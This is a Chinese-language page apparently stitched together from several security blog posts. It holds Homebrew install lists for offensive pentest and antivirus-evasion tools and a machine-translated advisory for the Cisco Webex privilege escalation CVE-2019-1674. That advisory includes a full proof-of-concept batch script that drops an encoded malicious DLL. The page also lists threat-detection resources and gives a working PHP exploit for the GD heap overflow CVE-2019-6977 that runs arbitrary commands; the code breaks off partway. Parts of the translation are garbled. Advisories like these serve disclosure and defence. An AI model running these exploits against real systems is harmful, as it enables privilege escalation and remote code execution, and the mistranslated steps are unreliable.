yasuobrew install sidaf/pentest/yasuo

攻击载荷exploit

工具名称 安装命令
armitagebrew install sidaf/pentest/armitage
bettercapbrew install sidaf/pentest/bettercap
crackmapexecbrew install sidaf/pentest/crackmapexec
clusterdbrew install sidaf/pentest/clusterd
commixbrew install sidaf/pentest/commix
froggerbrew install sidaf/pentest/frogger
jexbossbrew install sidaf/pentest/jex_boss
impacketbrew install sidaf/pentest/impacket
inceptionbrew install sidaf/pentest/inception
metasploitbrew install sidaf/pentest/metasploit-framework
mitmfbrew install sidaf/pentest/mitmf
odatbrew install sidaf/pentest/odat
panopticbrew install sidaf/pentest/panoptic
responderbrew install sidaf/pentest/responder
sqlmapbrew install sidaf/pentest/sqlmap
wifitebrew install sidaf/pentest/wifite
yersiniabrew install sidaf/pentest/yersinia
ysoserialbrew install sidaf/pentest/ysoserial

post-exploitation

工具名称安装命令
babel-sfbrew install sidaf/pentest/babel-sf
egressbusterbrew install sidaf/pentest/egressbuster
empirebrew install sidaf/pentest/empire
laudanumbrew install sidaf/pentest/laudanum
nishangbrew install sidaf/pentest/nishang
posh-secmodbrew install sidaf/pentest/posh-secmod
powersploitbrew install sidaf/pentest/powersploit
pykekbrew install sidaf/pentest/pykek
taterbrew install sidaf/pentest/tater
unicornbrew install sidaf/pentest/magic_unicorn

password-recovery

工具名称安装命令
cowpattybrew install sidaf/pentest/cowpatty
crunchbrew install sidaf/pentest/crunch
hashcat-binbrew install sidaf/pentest/hashcat-bin
hashcat-legacybrew install sidaf/pentest/hashcat-legacy
hashcat-utilsbrew install sidaf/pentest/hashcat-utils
hashidbrew install sidaf/pentest/hashid
johnbrew install sidaf/pentest/john-jumbo

密码字典列表

工具名称安装命令
fuzzdbbrew install sidaf/pentest/fuzzdb
SecListbrew install sidaf/pentest/sec_lists
RobotsDisallowedbrew install sidaf/pentest/robots_disallowed

可以做的事如下

漏洞分析

exploitation

post-exploitation

杀毒软件绕过

  • backdoorfactory
  • pyobfuscate
  • shellter
  • veil-evasion

密码恢复工具

  • iphelix-pack

小丑账号 小丑账号注册 小丑网站介绍

项目地址:github

思科webex会议桌面应用本地提权漏洞(CVE-2019-1674)

$
0
0

思科webex会议桌面应用本地提权漏洞(CVE-2019-1674)
Webex Meetings Desktop App 受影响的版本有
33.6.4.15, 33.6.5.2, 33.7.0.694, 33.7.1.15, 33.7.2.24, 33.7.3.7, 33.8.0.779, 33.8.1.13, 和 33.8.2.7 

安全认证-安全实验室咨询
http://www.secureauth.com/

思科webex会议桌面应用本地提权漏洞2

  1. * 咨询信息 *

标题: 思科webex会议桌面应用本地提权漏洞
咨询编号: core-2018-0012
咨询网址:
http://www.secureauth.com/labs/advisories/cisco-webex-meetings-elevation-privilege-vulnerability-version-2
公布日期: 2019-02-27
上次更新日期: 2019-02-27
联系的供应商: 思科
发布模式: 协调发布

  1. * 漏洞信息 *

类别: os 命令注入 [cwe-78]
影响: 代码执行
远程可利用: 否
本地可利用: 是
cve 名称: cve-2019-1674

  1. * 漏洞描述 *

思科的 webex 会议网站指出, [1]:

思科 webex 会议: 简单的最佳视频会议和在线会议
加入思科 webex 会议是一件轻而易举的事, 音频和视频
清晰, 屏幕共享是比以往任何时候都容易。我们帮助您忘记技术, 专注于
重要的是什么

思科 webex 会议桌面更新服务中的漏洞
windows 应用程序可能允许本地攻击者提升权限。

  1. * 存在漏洞的版本 * 旧版本可能也会受到影响
Cisco Webex Meetings Desktop App v336415
Cisco Webex Meetings Desktop App v33652
Cisco Webex Meetings Desktop App v3370694
Cisco Webex Meetings Desktop App v337115
Cisco Webex Meetings Desktop App v337224
Cisco Webex Meetings Desktop App v33737
Cisco Webex Meetings Desktop App v3380779
Cisco Webex Meetings Desktop App v338113
Cisco Webex Meetings Desktop App v33827
  1. * 供应商信息、解决方案和变通办法 *

思科通报说, 该漏洞已在思科 webex 会议桌面应用程序版本33.6.6 和33.9.1中修复

此外, 思科还发布了以下建议:
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190227-wmda-cmdinj

  1. * 概念代码的技术说明/证明 *

7.1. * 特权升级 *

[cve-2019-1674]

思科 webex 会议桌面应用程序的更新服务为 windows
未正确验证新文件的版本号。一个没有特权的人
本地攻击者可以通过调用更新来利用此漏洞
服务命令与精心编制的参数和文件夹。这将允许
攻击者使用系统用户权限运行任意命令。

可以通过复制到本地攻击者来利用此漏洞
控制器文件夹, atgpcdecd. dll 二进制文件, 并将其重命名为 atgpcdec.dll。
然后, 必须将以前版本的 pupdate. exe 文件压缩为
7z 并复制到控制器文件夹。此外, 恶意 dll 必须是
放置在同一个文件夹中, 名为 v星期日 140. dll, 并压缩为
最后, 必须在
控制器文件夹的更新二进制文件 (ptupdate. exe), 以处理我们的
文件作为正常更新。要获得特权, 攻击者必须启动
具有命令行的服务:
sc 启动网络服务 webexservice 1 989898 “攻击者控制路径”

概念证明:

下面的概念证明执行2步攻击, 因为启动
从 3.3. x 版本, 应用程序强制检查签名
适用于所有下载的二进制文件。这2步攻击对所有
上述易受攻击的软件包。请注意, 您需要上一项
版本的 pt. update. exe 可执行文件。这些版本是:
第一步 3307.1.1811.1500, 最后一步3306.4.1811.1600
步。要利用 priot 版本到 33.8. x, 只需一个步骤
(此 poc 中的最后一步)。

批处理文件:

@echo off
REM Contents of PoC.bat
REM
REM This batch file will exploit CVE-2019-1674
REM
REM First, it will copy the atgpcdec.dll file from the installation
REM folder to the current folder as atgpcdec.7z. Then, it will backup
REM ptUpdate.exe and vcruntime140.dll files from the installation folder
REM in the current folder, adding .bak to their names. Keep in mind that
REM those files will be replaced (especially, vcruntime140.dll) and if
REM not restored, will render the application useless.
REM
REM The executable ptUpdate.exe version 3307.1.1811.1500 must be
REM compressed as ptUpdate0.7z and present in the current folder.
REM The executable ptUpdate.exe version 3306.4.1811.1600 must be
REM compressed as ptUpdate1.7z and present in the current folder.
REM Both can be generated using 7zip GUI and compressing as 7z, with
REM normal compression level and LZMA compression method.
REM Another way is to compress both files using the command line app:
REM
REM 7z.exe a ptUpdate0.7z ptUpdate.exe -m0=BCJ -m1=LZMA:d=21
REM
REM ptUpdate0.xml file will be used in the first stage of the attack. It
REM will be renamed to ptUpdate.xml. Make sure to check and adjust (if
REM necessary) the "Size" and "PackagedSize" values of the xml, to the
REM ptUpdate0.7z ones. ptUpdate0.7z will be renamed to ptUpdate.7z. Then
REM the update service will be started.
REM
REM The batch will wait until the process (ptUpdate.exe) finishes
REM
REM After the first stage is completeted, it will rename ptUpdate.7z
REM back to ptUpdate0.7z, and ptUpdate.xml to ptUpdate0.xml.
REM
REM Now, ptUpdate1.xml file will be used in the second stage of the
REM attack. It will be renamed to ptUpdate.xml. Also, ptUpdate1.7z will
REM be renamed to ptUpdate.7z. Remember to check and adjust (if
REM necessary) the "Size" and "PackagedSize" values of the xml, to the
REM ptUpdate1.7z ones. Out "malicious" DLL will be generated using
REM certutil.exe and named vcruntime140.7z. It's a simple dll that will
REM execute notepad.exe on load and that has the same exported functions
REM as the original. The update service will be started again.
REM
REM The batch will wait until the process (ptUpdate.exe) finishes
REM
REM Once finished, it will print that the attack is done and wait for a
REM key press. You should see a notepad.exe (2, in fact) with SYSTEM
REM user privileges running.
REM
REM After a key is pressed, the batch will finish removing atgpcdec.7z
REM and vcruntime140.7z. Also it will rename ptUpdate.7z back to
REM ptUpdate1.7z, and ptUpdate.xml to ptUpdate1.xml.


:CheckOS
IF EXIST "%PROGRAMFILES(X86)%" (GOTO 64BIT) ELSE (GOTO 32BIT)

:64BIT
copy "%PROGRAMFILES(X86)%\Webex\Webex\Applications\atgpcdec.dll" atgpcdec.7z
copy "%PROGRAMFILES(X86)%\Webex\Webex\Applications\ptUpdate.exe"
ptUpdate.exe.bak
copy "%PROGRAMFILES(X86)%\Webex\Webex\Applications\vcruntime140.dll"
vcruntime140.dll.bak
GOTO END

:32BIT
copy "%PROGRAMFILES%\Webex\Webex\Applications\atgpcdec.dll" atgpcdec.7z
copy "%PROGRAMFILES%\Webex\Webex\Applications\ptUpdate.exe" ptUpdate.exe.bak
copy "%PROGRAMFILES%\Webex\Webex\Applications\vcruntime140.dll"
vcruntime140.dll.bak
GOTO END

:END

ren ptUpdate0.xml ptUpdate.xml
ren ptUpdate0.7z ptUpdate.7z
SET mypath=%~dp0
sc start webexservice WebexService 1 989898 %mypath:~0,-1%

ECHO Waiting 3 seconds until ptUpdate.exe starts
Timeout /T 3 /Nobreak

:LOOP1
tasklist | find /i "ptUpdate" >nul 2>&1
IF ERRORLEVEL 1 (
  GOTO CONTINUE1
) ELSE (
  ECHO ptUpdate.exe is still running
  Timeout /T 1 /Nobreak
  GOTO LOOP1
)

:CONTINUE1

ren ptUpdate.xml ptUpdate0.xml
ren ptUpdate.7z ptUpdate0.7z
ren ptUpdate1.xml ptUpdate.xml
ren ptUpdate1.7z ptUpdate.7z

echo
N3q8ryccAARIz/fVRwYAAAAAAAB6AAAAAAAAANcfWYEAJpaOcAAX9+wFu+r0/5QBL0TuTr0Jkm3dgTnz3Weoe6NfFfEa/Y28zsBB2HEdPWzlugty+IIM4hglhy/h80OeyYw5CMe7jUK77wLPQMC9wwpT+oLYVDSuOK/v2WNuOLCpU3qtGSO+2sIFpGixpKQvLykpGOZUMczuRNNr/8Ps1lApsqe0ERm7gPGyiMqJBOCOVTC85lKIa2Cmc
> dll.txt
echo
scrjgqKPPNmbXvscJWxmvv4NtC3mLQ1KuXYBSZXmFp8dR+ZDy5znkGG/C3w0T76c4wRCfOk+/myji9luDzO2OOwp8wgpN1QeGsA4+kaZwKYTisIvPegsI2joDsLAomIh2ToXENtcOA9/11kkJy4ColEdqlXxwSW2u45ajuNDs0aAE9nbz4AWXtv/VPfc4fn3Q+mN7FTmaDUr8dxZ5V05IafOO2qTgdSHPemTasMSqYLbzA8iaxBZimokw
>> dll.txt
echo
zyzr3fwZIci+Ewzq5BnNXk+lvA30xCUYdvQuMCGkxBozk9Ec0kQ/SUixz77Nc9SbJnm0Hncff3QRRlU9ciqc6cYkQ2Cm+/dWkyDgJU+sxT9VGV+WVwNK85Q6zpPWLeVRYtk9UkxKHF0aXf3l/OgfQqtz0WSR94AF+Z9AiblDy0zOreSW8PhFbu0hfAgY1pMNC5gPNJiJ3OGwT/cLEhBPusvpfcLP3V0BwXx04T+5R7d5Rw9xWExdfCzGb
>> dll.txt
echo
Mgyijdf5nP7fv9e5V0KO8kKrGVofstVIN8FTQSMeRGYRdv9WyuLRFWbArCL86HMo5NYEwFinlqCGqnY8hZcDMPe89q1xoNlVDmDtLC+AZqEkPKuqStllzKH7qQDg7Ahe6AMtGjaT2NptL2bSBYlkfn+1iiMt5cC/inZAoZoreSpDbGb4HRcOVce7ZKeiBAFpEzM0bEXAxnbLNO0pHm0bYCftbOkffJap3m79V+Dj4t0NPgwbhYKUqk1Hi
>> dll.txt
echo
/9ebVE+IIsUlFFggilCy7BmIh3MF3Gmuhr7QLK37zV72LA0/tuDXXTWP/0EJEQ3F/v1+hSj/+HMwUBFL8xsghBfOXTpmBG6cUxK2YOwXvs/ntja2a7SWwppxtWgr4n/pxEdeezoBGl1sTZ9aIwSlu1mMehS5RYoyiSKnQfgLMsIYLqjZtc2DjUdSZDutZgC91axMjIEQ8kDIBp8dbuX4MpzNYe65OrKG/u76aemvcQ/R1QAwgTopuWgqO
>> dll.txt
echo
tJ7LIkRv406u+Qs2d5KA9+IplFV7ZL9w1zXTDTFqATROK0IKtY2MPaP5Ia0d0UFizj0I7OZSeDtZXPohMxi01xMLyqCXIQ4vaJGVneNi1SyxAJ2hV92+5sxBCOlQ+d4w19k6iJA/siz1+V0FnIrN6csCMaW6yBnR6H+jHpm2sqXf3xyU8UkCRx09LmD1lcSB3sWdc3AnoG2ijb7lD6eBdCH2OlMWceeAfOMRm48MfYW6+AcZJm9wEQ9p8
>> dll.txt
echo
irxwCQuETvGMphqzbPxFJXErhoMTxlE57+/ZLBt8F/3XAaxQnmMucvSCFMYc6Z76OCbeotPfVnPhqL+torsEaph6DFzcw3dWuFrekbLnVVFKmM/QyeZVLS18u5lY1tGRyfAUCyhPIPJvUcXFKuDYHmdT/bOnF1B/xexvtY8boRhcKiNg4JBluTMbamdoktvfWvIVGUz2m50yA0dNN06yebHietxA+IwM0zfNbqpNWJjOItsi6/27j1mE7
>> dll.txt
echo
WCgPS5tetN44WkYD28Bm+LmHwz4lbPVjAIcgZBv0OtAXJsWMUtN8Bc2z9+fVSqc7pCHGCRnYDyKm8QhcV8hU4I/M4hSN+BWYn2jGJqc42lcaMzfXrySCnF4dAtIiE1HzAwmwWAqjlVkZdFiIuQ1m+pdbx2Ipji5piYRAJtykwO0H5JThzAzJGObOMCAenaKgvgtwF97iFdBZHxuSz+3DcYF6gQupm/BxNd35l6qj19sN2qixeGJ7rQapV
>> dll.txt
echo
DJLTM5KMPdSItBNJSLLp9fuObcufi/6MBif28vemivzaWtalocJxX/MJni8PfdLYn/rLJQXmpq4Qm7z6N7FlPLtelATkMAZZ2ofaLFeBvIKzymBqtsxQAb63b+MowQvOkGAesT5JNXhoRqzOoATB9I/O7xIZu30SZwWdW85DX2MNAeB/DgzLt/c7U9A2D5vIgAEEBgABCYZHAAcLAQACIwMBAQVdABgAAAQDAwEDAQAMmACYAAAICgGcR
>> dll.txt
echo
dWGAAAFARkLAAAAAAAAAAAAAAARIwB2AGMAcgB1AG4AdABpAG0AZQAxADQAMAAuAGQAbABsAAAAGQAUCgEAkBJyInaL1AEVBgEAIAAAAAAA
>> dll.txt

certutil -decode dll.txt vcruntime140.7z

del dll.txt

SET mypath=%~dp0
sc start webexservice WebexService 1 989898 %mypath:~0,-1%

ECHO Waiting 3 seconds until ptUpdate.exe starts
Timeout /T 3 /Nobreak

:LOOP2
tasklist | find /i "ptUpdate" >nul 2>&1
IF ERRORLEVEL 1 (
  GOTO CONTINUE2
) ELSE (
  ECHO ptUpdate.exe is still running
  Timeout /T 1 /Nobreak
  GOTO LOOP2
)

:CONTINUE2

ECHO Attack done!
pause

ren ptUpdate.xml ptUpdate1.xml
ren ptUpdate.7z ptUpdate1.7z
del atgpcdec.7z
del vcruntime140.7z

ptUpdate0.xml file

<?xml version="1.0"?>
<serv:message xmlns:serv="http://www.webex.com/schemas/2002/06/service"
xmlns:com="http://www.webex.com/schemas/2002/06/common"
xmlns:use="http://www.webex.com/schemas/2002/06/service/user">
    <serv:header></serv:header>
    <serv:body>
        <serv:bodyContent xsi:type="use:getUpdateResponse"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
            <UpdateVersionNumber>33.8.3</UpdateVersionNumber>
            <BuildNumber>33.8.3-24</BuildNumber>
            <ExternalVersionNumber>33.8.3.24</ExternalVersionNumber>
            <GPCINI>self/gpc.php</GPCINI>
            <ReleaseDate>February 2017</ReleaseDate>
            <Description>WebEx Productivity Tools 33.8.3</Description>
            <MsiLocation>msi/ptools.msi</MsiLocation>
            <UpdateFormat>binary</UpdateFormat>
            <ReleaseTrain>T32</ReleaseTrain>
            <Location>$dummy/upgradeserver/client/ptool/33.8.3</Location>
            <ControlOption>0</ControlOption>
            <WBSVERSION>33</WBSVERSION>
            <Server>myCompany.webex.com</Server>
            <UserName>MCKSysAR@myCompany.com</UserName>
            <DownloadSize>22496333</DownloadSize>
            <VersionURL/>
            <FileInfo>
                <SectionName>Installation</SectionName>
                <PackedName>ptupdate.7z</PackedName>
                <PackedNameL10N>ptupdate.7z</PackedNameL10N>
                <OrigianlName>ptupdate.exe</OrigianlName>
                <Version>3307,1,1811,1500</Version>
                <Size>1985592</Size>
                <PackagedSize>610752</PackagedSize>
                <CheckMethod>1</CheckMethod>
                <CouldIgnore>1</CouldIgnore>
                <NeedDownLoad>1</NeedDownLoad>
            </FileInfo>
            <Tools>
                <UseEmailType/>
                <Outlook>0</Outlook>
                <Notes>0</Notes>
                <UseWebExWithOffice>1</UseWebExWithOffice>
                <Excel>0</Excel>
                <PowerPoint>0</PowerPoint>
                <Word>0</Word>
                <IEShortCut>1</IEShortCut>
                <IERightMenu>0</IERightMenu>
                <UseWebExWithIM>1</UseWebExWithIM>
                <AOL>0</AOL>
                <Sametime>0</Sametime>
                <WindowsMessenger>0</WindowsMessenger>
                <Yahoo>0</Yahoo>
                <Skype>0</Skype>
                <GoogleTalk>0</GoogleTalk>
                <Firefox/>
                <IPPhone>1</IPPhone>
            </Tools>
        </serv:bodyContent>
    </serv:body>
</serv:message>
-----/

ptUpdate1.xml file:

/-----
<?xml version="1.0"?>
<serv:message xmlns:serv="http://www.webex.com/schemas/2002/06/service"
xmlns:com="http://www.webex.com/schemas/2002/06/common"
xmlns:use="http://www.webex.com/schemas/2002/06/service/user">
    <serv:header>                                                       
    </serv:header>
    <serv:body>
        <serv:bodyContent xsi:type="use:getUpdateResponse"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
            <UpdateVersionNumber>33.8.4</UpdateVersionNumber>
            <BuildNumber>33.8.4-24</BuildNumber>
            <ExternalVersionNumber>33.8.4.24</ExternalVersionNumber>
            <GPCINI>self/gpc.php</GPCINI>
            <ReleaseDate>February 2017</ReleaseDate>
            <Description>WebEx Productivity Tools 33.8.4</Description>
            <MsiLocation>msi/ptools.msi</MsiLocation>
            <UpdateFormat>binary</UpdateFormat>
            <ReleaseTrain>T32</ReleaseTrain>
            <Location>$dummy/upgradeserver/client/ptool/33.8.4</Location>
            <ControlOption>0</ControlOption>
            <WBSVERSION>33</WBSVERSION>
            <Server>myCompany.webex.com</Server>
            <UserName>MCKSysAR@myCompany.com</UserName>
            <DownloadSize>22496333</DownloadSize>
            <VersionURL/>
            <FileInfo>
                <SectionName>Common</SectionName>
                <PackedName>vcruntime140.7z</PackedName>
                <PackedNameL10N>vcruntime140.7z</PackedNameL10N>
                <OrigianlName>vcruntime140.dll</OrigianlName>
                <Version>14,14,26405,0</Version>
                <Size>6144</Size>
                <PackagedSize>1761</PackagedSize>
                <CheckMethod>1</CheckMethod>
                <CouldIgnore>1</CouldIgnore>
                <NeedDownLoad>1</NeedDownLoad>
            </FileInfo>
            <FileInfo>
                <SectionName>Installation</SectionName>
                <PackedName>ptupdate.7z</PackedName>
                <PackedNameL10N>ptupdate.7z</PackedNameL10N>
                <OrigianlName>ptupdate.exe</OrigianlName>
                <Version>3306,4,1811,1600</Version>
                <Size>1992760</Size>
                <PackagedSize>611786</PackagedSize>
                <CheckMethod>1</CheckMethod>
                <CouldIgnore>1</CouldIgnore>
                <NeedDownLoad>1</NeedDownLoad>
            </FileInfo>
            <Tools>
                <UseEmailType/>
                <Outlook>0</Outlook>
                <Notes>0</Notes>
                <UseWebExWithOffice>1</UseWebExWithOffice>
                <Excel>0</Excel>
                <PowerPoint>0</PowerPoint>
                <Word>0</Word>
                <IEShortCut>1</IEShortCut>
                <IERightMenu>0</IERightMenu>
                <UseWebExWithIM>1</UseWebExWithIM>
                <AOL>0</AOL>
                <Sametime>0</Sametime>
                <WindowsMessenger>0</WindowsMessenger>
                <Yahoo>0</Yahoo>
                <Skype>0</Skype>
                <GoogleTalk>0</GoogleTalk>
                <Firefox/>
                <IPPhone>1</IPPhone>
            </Tools>
        </serv:bodyContent>
    </serv:body>
</serv:message>
  1. * 报告时间表 *
    2018-12-04: 安全认证向思科 psirt 发送了初步通知
    包括一份咨询草案。
    2018-12-05: 思科确认接受咨询并通报
    他们会立案的
    2018-12-07: 思科回答说, 他们能够重现
    漏洞, 他们正在制定一个计划的修复。
    2018-12-07: secureauth 感谢更新。
    2018-12-10: 思科通知 secureauth,
    修复将在2月底之前进行。
    2018-12-10: secureauth 感谢更新。
    2019-01-15: secureauth 要求思科提供更新。
    2019-01-22:secururevauth 再次要求思科进行更新。
    2019-01-22: 思科回答说, 他们仍然瞄准结束
    2月为修复的发行。
    2019-02-11: 思科确认2月27日为披露日期。
    2019-02-27: 咨询公司-2018-0012 出版。
  2. * 参考资料 *

[1] https://www.webex.com/products/video-conferencing.html

如何及时探测漏洞情报威胁 找到优秀资源

$
0
0

如何及时探测漏洞情报威胁 找到优秀资源 这里列出了一些网站链接和rss,提供最新的漏洞情报威胁 这里罗列了一些网站和rss

包括了检测规则/逻辑/分析/等

名称网站RSS链接描述
SigmaLINKRSS强大的通用标记语言来定义逻辑,强大的多数 siemw 日志管理生成输出
工具
Atomic Threat CoverageLINKRSS
基于MITRE的ATT&CK自动生成的分析知识库,旨在涵盖威胁。依赖Sigma 和Atomic红队的报告
TALRLINKRSS用于收集和共享 stix 格式的检测规则的公共存储库。
Atomic BlueLINKRSS
终端查询语言( EQL )分析

Defender ATP QueriesLINKRSS微软defender atp 中的高级猎捕查询
CARLINKRSS 网络分析存储库
Threat Hunters PlaybookLINKRSS
情报威胁猎人行动手册,帮助开发威胁猎捕活动的技术和假设。
Sysmon-ModularLINKRSS映射到 mitre att & ck 的模块化系统配置存储库
ThreatHunting app for SplunkLINKRSS 保存的搜索可以跨平台多次使用

情报威胁测试目录

开发针对威胁的检测也是必要的

,名称网站RSS链接描述
Atomic Red TeamLINKRSS
一个简单测试库,每个安全团队都可以执行该库来测试他们的控件。测试是集中的,几乎没有依赖性,并且是以自动化框架使用的结构化格式定义的。
RTALINKRSS
MettaLINKRSS
APTSimulatorLINKRSS
MawlessLINKRSS
mateLINKRSSAtomic 红队基础测试工具

工具

名称网址RSS 链接描述
ForensicArtifacsLINKRSS
OSSEMLINKRSS开源安全事件元数据( OSSEM )
DFIR-ToolsetLINKRSS

PHP GD图像处理库堆溢出漏洞CVE-2019-6977 exploit

$
0
0

PHP GD 图像处理库 imagecolormatch 堆溢出漏洞利用(CVE-2019-6977) exploit
漏洞详情:https://nvd.nist.gov/vuln/detail/CVE-2019-6977

输出

GET http://target.com/exploit.php?f=0x7fe83d1bb480&c=id+>+/dev/shm/titi
Nenuphar.ce: 0x7fe834a10018
Nenuphar2.ce: 0x7fe834a10d70
Nenuphar.properties: 0x7fe834a01230
z.val: 0x7fe834aaea18
Difference: 0xad7e8

Exploit SUCCESSFUL !

exploit如下 exploit.php

<?php
# imagecolormatch() OOB Heap Write exploit
# https://bugs.php.net/bug.php?id=77270
# CVE-2019-6977
# Charles Fol
# @cfreal_
#
# Usage: GET/POST /exploit.php?f=<system_addr>&c=<command>
# Example: GET/POST /exploit.php?f=0x7fe83d1bb480&c=id+>+/dev/shm/titi
#
# Target: PHP 7.2.x
# Tested on: PHP 7.2.12
#

/*

buf = (unsigned long *)safe_emalloc(sizeof(unsigned long), 5 * im2->colorsTotal, 0);

	for (x=0; x<im1->sx; x++) {
		for( y=0; y<im1->sy; y++ ) {
			color = im2->pixels[y][x];
			rgb = im1->tpixels[y][x];
			bp = buf + (color * 5);
			(*(bp++))++;
			*(bp++) += gdTrueColorGetRed(rgb);
			*(bp++) += gdTrueColorGetGreen(rgb);
			*(bp++) += gdTrueColorGetBlue(rgb);
			*(bp++) += gdTrueColorGetAlpha(rgb);
		}

The buffer is written to by means of a color being the index:
color = im2->pixels[y][x];
..
bp = buf + (color * 5);

*/

#
# The bug allows us to increment 5 longs located after buf in memory.
# The first long is incremented by one, others by an arbitrary value between 0
# and 0xff.
#

error_reporting(E_ALL);
define('OFFSET_STR_VAL', 0x18);
define('BYTES_PER_COLOR', 0x28);


class Nenuphar extends DOMNode
{
	# Add a property so that std.properties is created
	function __construct()
	{
		$this->x = '1';
	}

	# Define __get
	# => ce->ce_flags & ZEND_ACC_USE_GUARDS == ZEND_ACC_USE_GUARDS
	# => zend_object_properties_size() == 0
	# => sizeof(intern) == 0x50
	function __get($x)
	{
		return $this->$x;
	}
}

class Nenuphar2 extends DOMNode
{
	function __construct()
	{
		$this->x = '2';
	}

	function __get($x)
	{
		return $this->$x;
	}
}

function ptr2str($ptr, $m=8)
{
	$out = "";
    for ($i=0; $i<$m; $i++)
    {
        $out .= chr($ptr & 0xff);
        $ptr >>= 8;
    }
    return $out;
}

function str2ptr(&$str, $p, $s=8)
{
	$address = 0;
	for($j=$p+$s-1;$j>=$p;$j--)
	{
		$address <<= 8;
		$address |= ord($str[$j]);
	}
	return $address;
}

# Spray stuff so that we get concurrent memory blocks
for($i=0;$i<100;$i++)
	${'spray'.$i} = str_repeat(chr($i), 2 * BYTES_PER_COLOR - OFFSET_STR_VAL);
for($i=0;$i<100;$i++)
	${'sprayx'.$i} = str_repeat(chr($i), 12 * BYTES_PER_COLOR - OFFSET_STR_VAL);

#
# #1: Address leak
# We want to obtain the address of a string so that we can make
# the Nenuphar.std.properties HashTable* point to it and hence control its
# structure.
#

# We create two images $img1 and $img2, both of 1 pixel.
# The RGB bytes of the pixel of $img1 will be added to OOB memory because we set
# $img2 to have $nb_colors images and we set its only pixel to color number
# $nb_colors.
#
$nb_colors = 12;
$size_buf = $nb_colors * BYTES_PER_COLOR;

# One pixel image so that the double loop iterates only once
$img1 = imagecreatetruecolor(1, 1);

# The three RGB values will be added to OOB memory
# First value (Red) is added to the size of the zend_string structure which
# lays under buf in memory.
$color = imagecolorallocate($img1, 0xFF, 0, 0);
imagefill($img1, 0, 0, $color);

$img2 = imagecreate(1, 1);

# Allocate $nb_colors colors: |buf| = $nb_colors * BYTES_PER_COLOR = 0x1e0
# which puts buf in 0x200 memory blocks
for($i=0;$i<$nb_colors;$i++)
	imagecolorallocate($img2, 0, 0, $i);

imagesetpixel($img2, 0, 0, $nb_colors + 1);

# Create a memory layout as such:
# [z:   zend_string: 0x200]
# [x:   zend_string: 0x200]
# [y:   zend_string: 0x200]
$z = str_repeat('Z', $size_buf - OFFSET_STR_VAL);
$x = str_repeat('X', $size_buf - OFFSET_STR_VAL);
$y = str_repeat('Y', $size_buf - OFFSET_STR_VAL);

# Then, we unset z and call imagecolormatch(); buf will be at z's memory
# location during the execution
# [buf: long[]     : 0x200]
# [x:   zend_string: 0x200]
# [y:   zend_string: 0x200]
#
# We can write buf + 0x208 + (0x08 or 0x10 or 0x18)
# buf + 0x208 + 0x08 is X's zend_string.len
unset($z);
imagecolormatch($img1, $img2);

# Now, $x's size has been increased by 0xFF, so we can read further in memory.
#
# Since buf was the last freed block, by unsetting y, we make its first 8 bytes
# point to the old memory location of buf
# [free:             0x200] <-+
# [x:   zend_string: 0x200]   |
# [free:             0x200] --+
unset($y);
# We can read those bytes because x's size has been increased
$z_address = str2ptr($x, 488) + OFFSET_STR_VAL;

# Reset both these variables so that their slot cannot be "stolen" by other
# allocations
$y = str_repeat('Y', $size_buf - OFFSET_STR_VAL - 8);

# Now that we have z's address, we can make something point to it.
# We create a fake HashTable structure in Z; when the script exits, each element
# of this HashTable will be destroyed by calling ht->pDestructor(element)
# The only element here is a string: "id"
$z = 
	# refcount
	ptr2str(1) .
	# u-nTableMask meth
	ptr2str(0) .
	# Bucket arData
	ptr2str($z_address + 0x38) .
	# uint32_t nNumUsed;
	ptr2str(1, 4) .
    # uint32_t nNumOfElements;
	ptr2str(1, 4) .
	# uint32_t nTableSize
	ptr2str(0, 4) .
	# uint32_t nInternalPointer
	ptr2str(0, 4) .
	# zend_long nNextFreeElement
	ptr2str(0x4242424242424242) .
	# dtor_func_t pDestructor
	ptr2str(hexdec($_REQUEST['f'])) .
	str_pad($_REQUEST['c'], 0x100, "\x00") .
	ptr2str(0, strlen($y) - 0x38 - 0x100);
;

# At this point we control a string $z and we know its address: we'll make an
# internal PHP HashTable structure point to it.


#
# #2: Read Nenuphar.std.properties
#

# The tricky part here was to find an interesting PHP structure that is
# allocated in the same fastbins as buf, so that we can modify one of its
# internal pointers. Since buf has to be a multiple of 0x28, I used dom_object,
# whose size is 0x50 = 0x28 * 2. Nenuphar is a subclass of dom_object with just
# one extra method, __get().
# php_dom.c:1074: dom_object *intern = ecalloc(1, sizeof(dom_object) + zend_object_properties_size(class_type));
# Since we defined a __get() method, zend_object_properties_size(class_type) = 0
# and not -0x10.
#
# zend_object.properties points to an HashTable. Controlling an HashTable in PHP
# means code execution since at the end of the script, every element of an HT is
# destroyed by calling ht.pDestructor(ht.arData[i]).
# Hence, we want to change the $nenuphar.std.properties pointer.
#
# To proceed, we first read $nenuphar.std.properties, and then increment it
# by triggering the bug several times, until
# $nenuphar.std.properties == $z_address
#
# Sadly, $nenuphar.std.ce will also get incremented by one every time we trigger
# the bug. This is due to (*(bp++))++ (in gdImageColorMatch).
# To circumvent this problem, we create two classes, Nenuphar and Nenuphar2, and
# instanciate them as $nenuphar and $nenuphar2. After we're done changing the
# std.properties pointer, we trigger the bug more times, until
# $nenuphar.std.ce == $nenuphar2.std.ce2
#
# This way, $nenuphar will have an arbitrary std.properties pointer, and its
# std.ce will be valid.
#
# Afterwards, we let the script exit, which will destroy our fake hashtable (Z),
# and therefore call our arbitrary function.
#

# Here we want fastbins of size 0x50 to match dom_object's size
$nb_colors = 2;
$size_buf = $nb_colors * BYTES_PER_COLOR;

$img1 = imagecreatetruecolor(1, 1);
# The three RGB values will be added to OOB memory
# Second value (Green) is added to the size of the zend_string structure which
# lays under buf in memory.
$color = imagecolorallocate($img1, 0, 0xFF, 0);
imagefill($img1, 0, 0, $color);

# Allocate 2 colors so that |buf| = 2 * 0x28 = 0x50
$img2 = imagecreate(1, 1);
for($i=0;$i<$nb_colors;$i++)
	imagecolorallocate($img2, 0, 0, $i);

$y = str_repeat('Y', $size_buf - OFFSET_STR_VAL - 8);
$x = str_repeat('X', $size_buf - OFFSET_STR_VAL - 8);
$nenuphar = new Nenuphar();
$nenuphar2 = new Nenuphar2();

imagesetpixel($img2, 0, 0, $nb_colors);

# Unsetting the first string so that buf takes its place
unset($y);

# Trigger the bug: $x's size is increased by 0xFF
imagecolormatch($img1, $img2);

$ce1_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x28);
$ce2_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + $size_buf + 0x28);
